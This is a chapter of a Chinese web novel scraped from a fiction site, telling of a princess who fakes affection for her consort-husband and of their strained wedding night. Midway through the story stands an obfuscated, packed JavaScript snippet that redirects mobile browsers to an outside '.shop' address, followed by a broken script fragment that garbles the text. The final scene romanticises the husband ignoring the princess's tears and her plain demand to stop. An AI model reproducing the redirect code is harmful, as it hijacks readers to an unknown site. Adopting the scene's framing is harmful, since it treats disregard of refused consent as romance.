文趣网 > 其他小说 > 重生后和糙汉驸马装恩爱 > 11. 虚情假意
    她在暗中打量李淑,李淑也在打量她,两人身上一脉相承的死气沉沉。

    李缨有些迟疑,正想开口说些什么。

    可人到的差不多了,该请安了,她便将话咽了回去,悄悄松了口气。

    席间一派欢声笑语,没有人提及那个荒唐的赌约。

    李淑更是连话也不和李缨说。

    李缨眨了眨眼睛,并没有借此奚落李淑。

    李淑暗中揣测:李缨这般安静,大约是她的驸马也不来了。男人真靠不住!

    两人默契地当一切都没有发生过。

    去了压在心头的巨石,李缨如释重负,安心地伴在李珩身侧浅笑低吟,听姊妹们分享趣事。

    连清河公主问她何时举办新婚答谢宴,即使她早就抛之脑后,也能面不改色地敷衍。

    “就是这两天了,必然不会忘了给十一娘下帖子。”

    要知道这些公主普遍比她们长公主受宠,也嫁得更好,故而两边儿来往并不密切。

    只是清河公主李敬十岁就嫁给了卢国公的次子程亮。

    固然卢国公名列凌烟阁,是阿兄的心腹重臣。

    这份宠爱还是叫人望而却步。

    又说了几句话,众人便各自散去。

    李缨缠在李珩身后,问答谢宴该如何操办,宾客、菜肴、花果、酒茶以及杯盘碗碟等等,又当布置。

    “旁的都不要紧,只是千万不能少发请帖,把谁落下,这可得罪人!至于其他细枝末节,现在说了你也记不住,我回去理个单子出来,明儿打发惊蛰给你送去,你一看就明白。”李珩妥帖地说。

    “阿姊待我真好。有了阿姊,我什么都不怕了。没有阿姊我可怎么办呢?”李缨发自内心的感叹。

    前世她新婚当日将薛彻赶出门,从此夫妻成仇。阿兄知道后,将她二人召去调解,她深以为耻,脸上笑心里哭。此后常年称病,幽居公主府,万事不管。

    阿姊常来探望自己,可自己对阿姊的关心却太少了。

    李缨打定主意,这辈子定然要待李珩更好些,才不枉李珩一片真心。

    “你这丫头惯会甜言蜜语。”李珩眼睛弯弯,伸出两根手指捏了捏李缨的鼻尖。

    李缨口中喊着“阿姊”,小小的脑袋在李珩的肩膀前飞快地转动。

    这声音一咏三叹,尾音延长,是标准的撒娇撒痴。

    李珩望着李缨亮晶晶的双眸,觉得对方像一只亲人的小猫,忍不住摩挲李缨的下巴。

    无独有偶,薛彻也是这么想的。

    李缨和李珩一路走一路说,不知不觉已经到了宫门口。

    李缨这幅模样便落在了薛彻眼中,这带给他极大的震撼。

    作为丈夫,他见过李缨的喜怒哀乐,也见过她不为人知的模样,却独独没有见过她这样全身心的依赖。

    分明他们曾躺在一张床上,如今想来,却抵不过眼前的亲密。

    薛彻心中大悟:李缨对我从来只有虚情假意!

    他竟然屈心逢迎,将自己扮成可憎的面目,将尊严踩在脚下,上赶着跑来接李缨回府。

    太可笑了。

    他太可笑了。

    薛彻僵硬地站在一匹照夜玉狮子旁边,内心一片荒凉。

    李缨所有的心神全在李珩身上,她并没有察觉薛彻到来。

    不知是谁喊了一声:“奴婢见过驸马郎君。”

    接着便是此起彼伏的问好,“奴婢见过驸马郎君。”

    李缨心脏一突,驸马?谁的驸马来了,是李淑的驸马吗?

    她猛然转头看去,竟然是薛彻!

    只见薛彻一袭月白缺骻圆领袍,行动时缠枝莲暗纹若隐若现。头上是软脚黑罗幞头,腰间挂着蹀躞白玉带。

    不知哪里一阵风吹过,衣袂翩翩。

    虽然离世家子弟还有些许距离,却也有几分游侠的风流疏狂。

    李缨却顾不得思考薛彻为什么会来,她下意识去看李淑。

    察觉到李缨的目光,李淑脸上的失落顿时消失不见,取而代之的是浓重的防备,她像一只蓄势待发的刺猬。

    她的驸马没来,李缨的驸马却来了,她害怕被李缨取笑。

    李缨心中忽而有些悲哀,为李淑,也为自己。

    她和李淑斗了这么多年,难道胜负竟然要压在两个不相干的男人身上吗?

    荒唐!

    念及此处,李缨朝李淑扬了扬眉,“我瞧着十三姊耳坠上的珍珠不够圆润,我新得了好些上好的合浦珍珠,不若我打发人给十三姊送去?”

    李淑本能还嘴,“用不着,我就喜欢异形珍珠作耳坠。”

    话说出口了,她才反应过来,李缨竟然没有用赌约嘲笑自己。

    为什么呢?

    李淑放软了语气,别扭地描补,“我有一匣子合浦珍珠,十五妹不必记挂我,自个留着罢。”

    虽不知缘由,可她隐隐明白李缨的意思,那个赌约过去了,李缨绝不会翻这个旧账。

    也好,驸马太不受控了,没什么意思,还是比自己吧。

    李缨细细咂摸了一番李淑脸上多变的情绪,见她懂自己的言外之意,便不再多说。

    欸,她和李淑莫非有几分默契?

    呸呸呸!

    来不及细想,一支胳膊横在李缨身前,是薛彻。

    李缨倒吸一口凉气,红指甲抠进掌心,留下一道道浅浅的月牙。

    难道薛彻记恨我铰碎了他的衣服,特意来寻我麻烦的吗?

    用心未免也太险恶了些。要是当着这么多人的面向我发难,岂不是丢死人了!

    “我扶公主上车。”薛彻脸绷得紧紧的,话却说得软乎极了。

    原来他真是来接我回府的。

    李缨心中的念头百转千回,听了这话,才终于确定了薛彻的来意。

    她忽而眼前一亮,真是天赐良机,这会子大家都在,正好和薛彻装一波恩爱夫妻。

    李缨将手搭在薛彻胳膊上,冲他露出一个羞涩的微笑。

    “多谢驸马。驸马上衙辛苦,很不必来接我,我哪里就这么娇气了?”

    薛彻显得失魂落魄,他凝视着胳膊上的春纤丹指,细长白嫩,极美。视线上移,李缨的脸明艳动人,也极美。

    而她脸上的笑,是真心还是假意呢?

    见薛彻呆愣愣的不说话,李缨蹙了蹙眉,生出了些许怨言。

    好一个不解风情的男子!

    “驸马?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662377|207199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    薛彻如梦初醒,含糊道:“不打紧。”

    李缨心知薛彻不会配合自己,也不敢多说,略一点头,借薛彻的力迈上马车。

    薛彻飞身上马,与诸位公主抱拳示意,驱马离开。

    来时藏着窃喜,去时只余下酸涩。

    她不爱我,没有办法。

    这事儿说来窝囊,薛彻没脸跟旁人诉苦,哪怕是损友崔诩。

    他不高兴,也没心思当正人君子。

    一道用过晚膳后,任凭李缨百般暗示,薛彻就是不肯离开正院,不肯一个人去前院歇息。

    分明成婚了,为什么还要忍受孤枕难眠之苦?

    李缨瞪了薛彻一眼,然而她近期没有和薛彻撕破脸的打算,只好随他去了。

    “驸马几时休沐?”

    “初五。”

    “那答谢宴便定在初五罢。驸马回头将要请的客人列一张单子,我打发人一道去下帖子。”

    “何必回头?”薛彻闻言意动,径直走到李缨的书桌前,拿起毛笔,在宣纸上写下一串串人名。

    李缨跟随着薛彻的步伐,俯身瞧了一眼纸上的内容,转而拿起自己才写好的答谢宴清单。

    “瓜果蔬菜可以从庄子上挑一部分,只是不知品相如何。”

    “咱们成婚的酒席是崔诩帮着操办的,这回不如还请他来?”薛彻猛地抬头。

    “不妥不妥。”李缨缓缓摇头。

    结婚前也就罢了,结婚后还让朋友操办宴席,她的面子往哪儿搁?

    “这样吧,驸马明儿私下问问崔诩办宴席的门道,回来告诉我。”

    薛彻连忙应了。

    眼见夜色浓重,两人分头洗漱不提。

    李缨有些心悸,薛彻今晚让她觉得危险,好似猛兽捕食,恐惧又亢奋。

    她浑身战栗,伸手去推薛彻,可对方双目赤红,全然不为所动。

    李缨只好用老办法,呜呜地哭起来,期盼着薛彻能放开自己。

    可这个法子也失效了。

    李缨心底涌出一股怒气,她都喊停了,薛彻竟然当没听见!

    好,那可怪不得自己了。

    李缨用指甲狠狠挠薛彻的背后,可她指甲都快劈叉了,薛彻也没什么反应。

    一计不成又生一计,她用上了另一个利器——牙齿。

    她用力啃咬薛彻的肩膀和胳膊,只是薛彻皮糙肉厚,此刻全身肌肉紧绷,更不好下口。

    李缨咬了许久,也没在薛彻身上留下什么印记,想来他肯定不疼。

    忽而,她视线上移,一口咬在了薛彻的耳朵上。

    薛彻本在享受余韵,感受到耳垂处传来的湿热和呼吸,后背霎那间划过一道闪电,酥酥麻麻的,他才松弛的肌肉又重新恢复紧绷。

    他将李缨箍得更紧了,暗想:难道她也觉得欢喜吗?

    李缨看薛彻有反应,得意地说:“你觉得疼了吧?疼就松手,不然我还咬你!”

    听了这话,薛彻哭笑不得,一时竟不知该不该松手。

    李缨见状没好气地说:“你这么喜欢这档子事,不行你找别人去吧!”

    薛彻握紧了拳头,带着被遗弃的愤怒和悲伤,“你是我的妻子。”